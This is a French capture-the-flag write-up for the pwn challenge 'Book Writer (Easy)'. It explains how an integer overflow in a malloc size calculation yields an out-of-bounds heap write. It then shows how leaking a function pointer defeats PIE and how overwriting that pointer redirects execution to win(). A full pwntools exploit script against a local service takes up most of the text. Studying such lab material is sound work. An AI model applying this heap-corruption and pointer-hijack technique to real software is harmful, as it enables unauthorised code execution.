Solution de floheb pour Book Writer (Easy)

pwn x86/x64

12 mars 2026

Fonctionnement

Quand on s’intéresse au programme donné il paraît plutôt safe au niveau des entrées directes (pas de buffer overflow évident) — en tout cas pour mon œil débutant.

On remarque vite qu’on a la capacité d’écrire et de lire les livres, et que chaque livre a des pointeurs vers des fonctions qu’on peut déclencher. On voit aussi une fonction win() qui nous ferait gagner si on arrive à l’exécuter, par exemple en changeant les pointeurs des fonctions read et write.

On aimerait donc que notre capacité d’écriture soit au même endroit que ces pointeurs.

Ces pointeurs sont des attributs de struct Book, qui est allouée avec malloc, donc stockée dans le tas (heap) (en général). Notre capacité d’écriture est dans content, aussi alloué par malloc après la création d’un book.

Si tout est sur le heap, on s’attend à un schéma du genre :

  • adresses basses,
  • Book 1,
  • content de Book 1,
  • Book 2,
  • etc.

Et sans capacité d’atteindre Book 2 depuis le content de Book 1.

Le bug exploité

Le point clé est ici :

book->pages = n;
book->content = malloc(n * PG_SIZE);

n est un unsigned long 64-bit.

Or en C si un calcul mène à un nombre trop grand (> $2^{64}-1$ ici) il cycle. C’est ce dont on va se servir.

Si on choisit n = 2**60 (mais on pourrait choisir un autre nombre, tant que ce nombre * PG_SIZE donne 0 modulo $2^{64}$), alors :

$$ 2^{60} \times 128 = 2^{67} $$

Donc ce produit cycle en modulo $2^{64}$ et devient 0 dans un unsigned long 64-bit.

Résultat : on fait un malloc(0).

Or book->pages reste bien à 2**60 (car 2**60 < 2**64, donc pas d’overflow à cet endroit - mais il faut bien rester sous 2**64).

Finalement on gagne exactement ce qu’on veut :

  • une zone content perçue de taille 0 mais en réalité à laquelle on a accès sur une très grande plage d’adresses (car pages est énorme),
  • donc des accès content + (page-1)*128 qui peuvent sortir de la zone réellement allouée et aller écraser les pointeurs de fonctions.

Finalement la résolution est :

  1. Créer Book1 avec pages = 2**60.
  2. Créer Book2 avec pages = pas important.
  3. Revenir sur Book1.
  4. Lire la page 1 pour leak l’adresse read_page ou write_page de Book2.
  5. Calculer addr_win = addr_read_leak + (win - read_page).
  6. Écrire sur Book1, page 1, payload de la forme :
    • padding jusqu’à book2->read (ici c’est 32 bytes),
    • puis addr_win (attention à l’endianess).
  7. Ouvrir Book2 et appeler read.
  8. read pointe maintenant vers win → flag.

Récupérer l’adresse de win

  • Le binaire est PIE, donc les adresses absolues changent à chaque run ; le delta entre symboles reste constant par contre -> récupérer le delta entre read_page et win en local pour calculer l’adresse de win à partir du leak de read_page à distance.

Code d’exploitation :

from pwn import remote
import os
import json
import re
import pwn

#16 caractères en hex puis 4242424242424242 (pour le titre BBBBBBBB)
regex_write_ptr = r"[0-9a-f]{16}4242424242424242"

HOST = "localhost"
PORT = 4000

NUMBER_OF_PAGES = 2**60

if __name__ == "__main__":

    io = remote(HOST, PORT, typ="tcp", timeout=2)

    io.sendlineafter(b'Quitter', b'1')
    io.sendlineafter(b'titre', b'AAAAAAAA')
    io.sendlineafter(b'pages ?', str(NUMBER_OF_PAGES).encode())
    
    io.sendlineafter(b'Quitter', b'1')
    io.sendlineafter(b'titre', b'BBBBBBBB')
    io.sendlineafter(b'pages ?', str(1).encode())

    io.sendlineafter(b'Quitter', b'2')
    io.sendlineafter(b'livre ?', b'0')

    io.sendlineafter(b'Quitter', b'4')
    data = io.recvuntil('ouvert')
    print(f"Data reçue: {data}")
    matches = re.search(regex_write_ptr, data.hex())

    # data.group(0) contient: write_ptr (16 hex) + "4242424242424242" (16 hex)
    # On enlève les 16 derniers chars (le titre) pour garder write_ptr
    target_write_inverted = matches.group(0)[:-16]  
    
    # valider l'affichage et qu'on récupère bien une adresse 
    target_write = bytes.fromhex(target_write_inverted)[::-1].hex()
    print(f"Adresse de write_page() leakée: 0x{target_write}")

    # La différence entre l'adresse leakée et l'adresse de win() est constante, on peut la calculer à partir de l'exécutable local
    delta_write_win = pwn.ELF('./book-writer-easy').sym['win'] - pwn.ELF('./book-writer-easy').sym['write_page']
    print(f"Delta entre write_page() et win(): {delta_write_win} bytes")

    # Calcul de l'adresse de win() à partir de l'adresse leakée de write_page()
    target_win = int(target_write, 16) + delta_write_win
    print(f"Adresse de win() calculée: 0x{target_win:x}")
    target_win_little_endian = bytes.fromhex(f"{target_win:016x}")[::-1]
    print(f"Adresse de win() en little endian: {target_win_little_endian.hex()}")

    io.sendlineafter(b'Quitter', b'3')

    payload = b'a'*40 + target_win_little_endian + b'Newname' # Mettre 32 si on veut écraser read_page, 40 pour write_page, et on peut même écraser le titre suivant si on veut

    print(f"Payload envoyé: {payload}")
    io.sendline(payload)

    io.sendlineafter(b'Quitter', b'2')
    io.sendlineafter(b'livre ?', b'1') # On bascule sur Book2
    io.sendlineafter(b'Quitter', b'3') 
    io.sendlineafter(b'crire ?', b'') # write_page() attend une entrée, on peut lui envoyer une ligne vide

    data = io.recvall(timeout=1)
    print(f"Data finale reçue: {data}") # Flag !